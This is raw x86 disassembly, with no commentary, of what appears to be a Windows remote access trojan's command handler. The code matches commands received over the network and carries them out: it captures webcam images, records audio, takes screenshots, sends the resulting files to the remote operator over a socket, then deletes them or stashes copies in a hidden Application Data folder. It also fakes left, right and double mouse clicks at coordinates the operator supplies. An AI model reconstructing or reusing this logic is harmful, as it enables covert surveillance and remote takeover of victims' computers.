lea edx, [esp + 0x5e0]
push str.rdcjt
push edx
call esi
add esp, 8
test eax, eax
je 0x40a5e4
push edi
push edi
lea eax, [esp + 0x1ac]
push eax
push 0x405210
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.capjpgdxc
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a616
push edi
push edi
lea edx, [esp + 0x1ac]
push edx
push 0x4056d0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.wavein
push eax
call esi
add esp, 8
test eax, eax
je 0x40a64e
push edi
push edi
lea ecx, [esp + 0x1ac]
push ecx
push 0x405f70
push edi
push edi
mov byte [0x4120d0], bl
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.wavestop
push edx
call esi
add esp, 8
test eax, eax
je 0x40a670
mov byte [0x4120d0], 0
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fb94
push eax
call esi
add esp, 8
test eax, eax
je 0x40a6d1
push 0x64
lea ecx, [esp + 0x11ac]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea edx, [esp + 0x11ac]
push str.C:_uwin.bmp
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [ebp + 8]
add esp, 0xc
push eax
lea ecx, [esp + 0x11ac]
push 0x20
push ecx
call fcn.00403850
add esp, 0xc
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.pmbmp
push edx
call esi
add esp, 8
test eax, eax
je 0x40a730
push 0x64
lea eax, [esp + 0x1144]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea ecx, [esp + 0x1144]
push str.C:_uwin2.bmp
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
lea eax, [esp + 0x1144]
push eax
call fcn.00403f20
add esp, 8
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.pmatl
push ecx
call esi
add esp, 8
test eax, eax
je 0x40a78f
push 0x64
lea edx, [esp + 0x10dc]
push edi
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea eax, [esp + 0x10dc]
push str.D:_uwin3.jpg
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp + 8]
add esp, 0xc
push ecx
lea edx, [esp + 0x10dc]
push edx
call fcn.00404210
add esp, 8
jmp 0x408320
lea eax, [esp + 0x5e0]
push 0x40fbe0
push eax
call esi
add esp, 8
test eax, eax
je 0x40a7f0
push 0x64
lea ecx, [esp + 0xeb4]
push edi
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea edx, [esp + 0xeb4]
push str.C:_uwin4.bmp
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [ebp + 8]
add esp, 0xc
push eax
lea ecx, [esp + 0xeb4]
push 0x18
push ecx
call fcn.00403850
add esp, 0xc
jmp 0x408320
lea edx, [esp + 0x5e0]
push 0x40fbf8
push edx
call esi
add esp, 8
test eax, eax
je 0x40a851
push 0x64
lea eax, [esp + 0xf34]
push edi
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea ecx, [esp + 0xf34]
push str.C:_uwin5.bmp
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
lea eax, [esp + 0xf34]
push 0x10
push eax
call fcn.00403850
add esp, 0xc
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.capjpg
push ecx
call esi
add esp, 8
test eax, eax
je 0x40aeb9
push 0x3e8
lea edx, [esp + 0x196c]
push 0
push edx
call sub.MSVCR80.dll_memset
mov eax, dword [str.C:cap1.bmp]
mov ecx, dword [0x40fc1c]
mov edx, dword [0x40fc20]
add esp, 0xc
push 0x120
mov dword [esp + 0x4b4], eax
lea eax, [esp + 0x4c0]
push 0
push eax
mov dword [esp + 0x4c0], ecx
mov dword [esp + 0x4c4], edx
call sub.MSVCR80.dll_memset
mov ecx, dword [str.C:cap1.jpg]
mov edx, dword [0x40fc28]
mov eax, dword [0x40fc2c]
add esp, 0xc
push 0x120
mov dword [esp + 0x384], ecx
lea ecx, [esp + 0x390]
push 0
push ecx
mov dword [esp + 0x390], edx
mov dword [esp + 0x394], eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0
push 0
push 0x258
push 0x2bc
push 0
push 0
push 0
push str.My_Own_Capture_Window
call sub.AVICAP32.dll_capCreateCaptureWindowA
push 0
push 0x12c
lea edx, [esp + 0xa50]
push edx
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40a950
lea edi, [esp + 0x1968]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40a965
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, eax
push 0x40a
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0x12c
lea eax, [esp + 0xa50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov esi, eax
jmp 0x40a9c0
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40a9c0
lea edi, [esp + 0x1968]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40a9d5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, eax
push 0x43c
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0x12c
lea ecx, [esp + 0xa50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov esi, eax
jmp 0x40aa30
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40aa30
lea edi, [esp + 0x1968]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40aa45
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x4b0]
push edx
push 0
mov ecx, eax
push 0x419
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0x12c
lea eax, [esp + 0xa50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov esi, eax
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40aaa1
lea edi, [esp + 0x1968]
sub eax, esi
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40aab6
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, eax
push 0x40b
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_SendMessageA]
push ebx
call dword [sym.imp.USER32.dll_DestroyWindow]
lea esi, [esp + 0x208]
call fcn.004014f0
lea ecx, [esp + 0x4b0]
push ecx
mov edx, esi
push edx
call fcn.00401790
lea ecx, [esp + 0x1968]
add ecx, 0xffffffff
jmp 0x40ab10
mov dl, byte [ecx + 1]
add ecx, 1
test dl, dl
jne 0x40ab10
test eax, eax
mov edx, dword [str.Load:]
mov dword [ecx], edx
mov dx, word [0x40f6d8]
mov word [ecx + 4], dx
jge 0x40ab9a
push 0
push 0x12c
lea eax, [esp + 0xa50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40ab63
lea edi, [esp + 0x1968]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea ebx, [ebx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40ab80
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x40abc1
lea eax, [esp + 0x1968]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40aba4
mov cx, word [0x40f6dc]
mov dl, byte [0x40f6de]
mov word [eax], cx
mov byte [eax + 2], dl
lea ecx, [esp + 0x380]
lea ebx, [esp + 0x208]
call fcn.00401ee0
lea ecx, [esp + 0x1968]
add ecx, 0xffffffff
mov edi, edi
mov dl, byte [ecx + 1]
add ecx, 1
test dl, dl
jne 0x40abe0
test eax, eax
mov edx, dword [str.Save:]
mov dword [ecx], edx
mov dx, word [0x40f6e4]
mov word [ecx + 4], dx
jge 0x40ac6a
push 0
push 0x12c
lea eax, [esp + 0xa50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40ac33
lea edi, [esp + 0x1968]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
lea ebx, [ebx]
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40ac50
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x40ac91
lea eax, [esp + 0x1968]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40ac74
mov cx, word [0x40f6dc]
mov dl, byte [0x40f6de]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [esp + 0x208]
call fcn.00401710
lea ecx, [esp + 0x208]
call fcn.00401560
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea eax, [esp + 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [esp + 0x1968]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40acd5
cmp ebx, 0xffffffff
mov ecx, dword [str.fileh:]
mov dx, word [0x40f6ec]
mov dword [eax], ecx
mov cl, byte [0x40f6ee]
mov word [eax + 4], dx
mov byte [eax + 6], cl
je 0x40ad4f
mov dword [esp + 0x10], 1
push 0
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x121c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x40ae11
mov edx, dword [ebp + 8]
push 0
push eax
lea ecx, [esp + 0x1218]
push ecx
push edx
call sub.WS2_32.dll_send
cmp dword [esp + 0x10], 0
ja 0x40ad08
jmp 0x40ae11
push 0
push 0x12c
lea eax, [esp + 0xa50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0xa48]
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40ad80
lea edi, [esp + 0x1968]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40ad97
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x380]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40adb8
lea edi, [esp + 0x1968]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
nop
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40add0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x1968]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40adf2
push 0
sub eax, edx
mov edx, dword [ebp + 8]
push eax
lea ecx, [esp + 0x1970]
push ecx
push edx
call sub.WS2_32.dll_send
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x180], eax
xor eax, eax
push 0x32
mov dword [esp + 0x188], ecx
mov byte [esp + 0x18c], dl
mov dword [esp + 0x18d], eax
mov dword [esp + 0x191], eax
mov word [esp + 0x195], ax
mov byte [esp + 0x197], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x180]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40ae68
mov ecx, dword [ebp + 8]
push 0
sub eax, edx
push eax
lea eax, [esp + 0x188]
push eax
push ecx
call sub.WS2_32.dll_send
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x4b0]
push edx
call esi
lea eax, [esp + 0x380]
push eax
call esi
lea ecx, [esp + 0x208]
call fcn.00401560
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.capnof
push ecx
call esi
add esp, 8
test eax, eax
je 0x40b038
push 0x12c
lea edx, [esp + 0x1e84]
push 0
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0x3a]
movzx edx, word [esp + 0x38]
movzx eax, word [esp + 0x36]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
movzx ecx, word [esp + 0x38]
push edx
movzx edx, word [esp + 0x3a]
push eax
push ecx
push edx
lea eax, [esp + 0x1e94]
push 0x40fc38
push eax
call esi
add esp, 0x1c
push 0x12c
lea ecx, [esp + 0x384]
push 0
push ecx
call sub.MSVCR80.dll_memset
movzx edx, word [esp + 0x46]
movzx eax, word [esp + 0x44]
movzx ecx, word [esp + 0x42]
add esp, 0xc
push edx
movzx edx, word [esp + 0x38]
push eax
movzx eax, word [esp + 0x3a]
push ecx
push edx
push eax
lea ecx, [esp + 0x394]
push str.C:Documents_and_SettingsAdministratorApplication_Data_asdfg_.2u
push ecx
call esi
add esp, 0x1c
push 0x6f
push 0
push 0x258
push 0x2bc
push 0
push 0
push 0x40000000
push str.My_Own_Capture_Window
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
mov esi, eax
push 0x40a
push esi
call edi
lea edx, [esp + 0x1e80]
push edx
push 0
push 0x419
push esi
call edi
push 0
push 0
push 0x40b
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
lea esi, [esp + 0x208]
call fcn.004014f0
lea eax, [esp + 0x1e80]
push eax
mov ecx, esi
push ecx
call fcn.00401790
lea ecx, [esp + 0x380]
mov ebx, esi
call fcn.00401ee0
mov eax, esi
call fcn.00401710
mov ecx, esi
call fcn.00401560
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push str.C:Documents_and_SettingsAdministratorApplication_Data_asdfg.bmp
lea edx, [esp + 0x1e88]
push edx
call esi
push 0
push str.C:Documents_and_SettingsAdministratorApplication_Data_asdfg.jpg
lea eax, [esp + 0x388]
push eax
call esi
mov ecx, ebx
call fcn.00401560
jmp 0x408320
lea ecx, [esp + 0x5e0]
push str.capbmp
push ecx
call esi
add esp, 8
test eax, eax
je 0x40b20e
push 0x12c
lea edx, [esp + 0xfac]
push 0
push edx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [esp + 0xee]
movzx edx, word [esp + 0xec]
movzx eax, word [esp + 0xea]
push ecx
movzx ecx, word [esp + 0xec]
push edx
movzx edx, word [esp + 0xee]
push eax
push ecx
push edx
lea eax, [esp + 0xfbc]
push 0x40fc38
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0
push 0
push 0x258
push 0x2bc
push 0
push 0
push 0
push str.My_Own_Capture_Window
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
mov esi, eax
push 0x40a
push esi
call edi
push 0
push 0
push 0x43c
push esi
call edi
lea ecx, [esp + 0xfa8]
push ecx
push 0
push 0x419
push esi
call edi
push 0
push 0
push 0x40b
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0x80
push 3
push 0
push 3
push closesocket
lea edx, [esp + 0xfc0]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, dword [ebp + 8]
mov esi, eax
mov dword [esp + 0x58], ebx
push 0
lea eax, [esp + 0x5c]
push eax
push 0x400
lea ecx, [esp + 0x121c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x58]
test eax, eax
jbe 0x40b181
push 0
push eax
lea edx, [esp + 0x1218]
push edx
push edi
call sub.WS2_32.dll_send
cmp dword [esp + 0x58], 0
ja 0x40b146
mov eax, dword [0x40f6b4]
mov ecx, dword [0x40f6b8]
mov dl, byte [0x40f6bc]
mov dword [esp + 0x180], eax
xor eax, eax
push 0x32
mov dword [esp + 0x188], ecx
mov byte [esp + 0x18c], dl
mov dword [esp + 0x18d], eax
mov dword [esp + 0x191], eax
mov word [esp + 0x195], ax
mov byte [esp + 0x197], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x180]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40b1d8
push 0
sub eax, edx
push eax
lea eax, [esp + 0x188]
push eax
push edi
call sub.WS2_32.dll_send
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xfa8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x408320
lea edx, [esp + 0x5e0]
push str.dclick
push edx
call esi
add esp, 8
test eax, eax
je 0x40b3c4
xor eax, eax
mov dword [esp + 0x31c], eax
mov dword [esp + 0x320], eax
mov dword [esp + 0x324], eax
mov dword [esp + 0x328], eax
mov dword [esp + 0x32c], eax
mov dword [esp + 0x344], eax
mov dword [esp + 0x348], eax
mov dword [esp + 0x34c], eax
mov dword [esp + 0x350], eax
mov dword [esp + 0x354], eax
lea eax, [esp + 0x5e0]
push 0x40fa0c
push eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea ecx, [esp + 0x5ee]
sub eax, ecx
push eax
mov edx, ecx
push edx
lea eax, [esp + 0x32c]
push eax
call edi
add esp, 0x14
push 4
lea ecx, [esp + 0x5e4]
push 0x40fa0c
push ecx
call esi
add esp, 8
add eax, 1
push eax
lea edx, [esp + 0x34c]
push edx
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea eax, [esp + 0x328]
add esp, 0xc
push eax
call esi
lea ecx, [esp + 0x348]
add esp, 4
push ecx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea edx, [esp + 0xb4]
push edx
mov dword [esp + 0xb8], esi
mov dword [esp + 0xbc], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x10]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x20]
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push eax
push 0x8001
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
push 0
push 0
push 0
push 0
push 2
call esi
push 0
push 0
push 0
push 0
push 4
call esi
push 0
push 0
push 0
push 0
push 2
call esi
push 0
push 0
push 0
push 0
push 4
call esi
push 0x64
call edi
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb4]
push eax
push ecx
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0x384
call edi
jmp 0x40b6f5
lea eax, [esp + 0x5e0]
push str.lclick
push eax
call esi
add esp, 8
test eax, eax
lea ecx, [esp + 0x5e0]
je 0x40b56a
xor eax, eax
push 0x40fa0c
push ecx
mov dword [esp + 0x2e8], eax
mov dword [esp + 0x2ec], eax
mov dword [esp + 0x2f0], eax
mov dword [esp + 0x2f4], eax
mov dword [esp + 0x2f8], eax
mov dword [esp + 0x374], eax
mov dword [esp + 0x378], eax
mov dword [esp + 0x37c], eax
mov dword [esp + 0x380], eax
mov dword [esp + 0x384], eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea edx, [esp + 0x5ee]
sub eax, edx
push eax
mov eax, edx
push eax
lea ecx, [esp + 0x2f0]
push ecx
call edi
add esp, 0x14
push 4
lea edx, [esp + 0x5e4]
push 0x40fa0c
push edx
call esi
add eax, 1
add esp, 8
push eax
lea eax, [esp + 0x374]
push eax
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea ecx, [esp + 0x2ec]
add esp, 0xc
push ecx
call esi
lea edx, [esp + 0x370]
add esp, 4
push edx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea eax, [esp + 0xac]
push eax
mov dword [esp + 0xb0], esi
mov dword [esp + 0xb4], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x14]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x1c]
push eax
mov edi, dword [sym.imp.USER32.dll_mouse_event]
push 0x8001
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
push esi
push esi
push esi
push esi
push 2
call edi
push esi
push esi
push esi
push esi
push 4
call edi
push 0x64
call ebx
mov ecx, dword [esp + 0xb0]
mov edx, dword [esp + 0xac]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
push esi
push esi
lea eax, [esp + 0x1ac]
push eax
push 0x405210
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
push str.rclick
push ecx
call esi
add esp, 8
test eax, eax
je 0x40b715
xor eax, eax
lea edx, [esp + 0x5e0]
push 0x40fa0c
push edx
mov dword [esp + 0x2ac], eax
mov dword [esp + 0x2b0], eax
mov dword [esp + 0x2b4], eax
mov dword [esp + 0x2b8], eax
mov dword [esp + 0x2bc], eax
mov dword [esp + 0x338], eax
mov dword [esp + 0x33c], eax
mov dword [esp + 0x340], eax
mov dword [esp + 0x344], eax
mov dword [esp + 0x348], eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea ecx, [esp + 0x5ee]
sub eax, ecx
push eax
mov edx, ecx
push edx
lea eax, [esp + 0x2b4]
push eax
call edi
add esp, 0x14
push 4
lea ecx, [esp + 0x5e4]
push 0x40fa0c
push ecx
call esi
add esp, 8
add eax, 1
push eax
lea edx, [esp + 0x338]
push edx
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea eax, [esp + 0x2b0]
add esp, 0xc
push eax
call esi
lea ecx, [esp + 0x334]
add esp, 4
push ecx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea edx, [esp + 0x8c]
push edx
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x14]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x1c]
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push eax
push 0x8001
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
push 0
push 0
push 0
push 0
push 8
call esi
push 0
push 0
push 0
push 0
push 0x10
call esi
push 0x64
call edi
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x8c]
push eax
push ecx
call dword [sym.imp.USER32.dll_SetCursorPos]
push 0
push 0
lea edx, [esp + 0x1ac]
push edx
push 0x405210
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.dclidd
push eax
call esi
add esp, 8
test eax, eax
je 0x40b8be
xor eax, eax
lea ecx, [esp + 0x5e0]
push 0x40fa0c
push ecx
mov dword [esp + 0x310], eax
mov dword [esp + 0x314], eax
mov dword [esp + 0x318], eax
mov dword [esp + 0x31c], eax
mov dword [esp + 0x320], eax
mov dword [esp + 0x360], eax
mov dword [esp + 0x364], eax
mov dword [esp + 0x368], eax
mov dword [esp + 0x36c], eax
mov dword [esp + 0x370], eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea edx, [esp + 0x5ee]
sub eax, edx
push eax
mov eax, edx
push eax
lea ecx, [esp + 0x318]
push ecx
call edi
add esp, 0x14
push 4
lea edx, [esp + 0x5e4]
push 0x40fa0c
push edx
call esi
add eax, 1
add esp, 8
push eax
lea eax, [esp + 0x360]
push eax
call edi
mov esi, dword [sym.imp.MSVCR80.dll_atoi]
lea ecx, [esp + 0x314]
add esp, 0xc
push ecx
call esi
lea edx, [esp + 0x35c]
add esp, 4
push edx
mov edi, eax
call esi
add esp, 4
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push 8
push esi
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push esi
xor esi, esi
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
lea eax, [esp + 0xa4]
push eax
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], esi
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, ebx
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x14]
push esi
push esi
push eax
mov eax, edi
imul eax, eax, 0xffff
cdq
idiv dword [esp + 0x1c]
mov esi, dword [sym.imp.USER32.dll_mouse_event]
push eax
push 0x8001
call esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 2
call esi
push 0
push 0
push 0
push 0
push 4
call esi
push 0
push 0
push 0
push 0
push 2
call esi
push 0
push 0
push 0
push 0
push 4
call esi
mov ecx, dword [esp + 0xa8]
mov edx, dword [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.USER32.dll_SetCursorPos]
jmp 0x408320
lea eax, [esp + 0x5e0]
push str.lclidd
push eax
call esi
add esp, 8
test eax, eax
je 0x40ba47
xor eax, eax
lea ecx, [esp + 0x5e0]
push 0x40fa0c
push ecx
mov dword [esp + 0x2d4], eax
mov dword [esp + 0x2d8], eax
mov dword [esp + 0x2dc], eax
mov dword [esp + 0x2e0], eax
mov dword [esp + 0x2e4], eax
mov dword [esp + 0x2c0], eax
mov dword [esp + 0x2c4], eax
mov dword [esp + 0x2c8], eax
mov dword [esp + 0x2cc], eax
mov dword [esp + 0x2d0], eax
call esi
mov edi, dword [sym.imp.MSVCR80.dll_strncpy]
lea edx, [esp + 0x5ee]
sub eax, edx
push eax
mov eax, edx
push eax
lea ecx, [esp + 0x2dc]
push ecx
call edi
add esp, 0x14
push 4
lea edx, [esp + 0x5e4]
push 0x40fa0c
push edx
call esi
add eax, 1
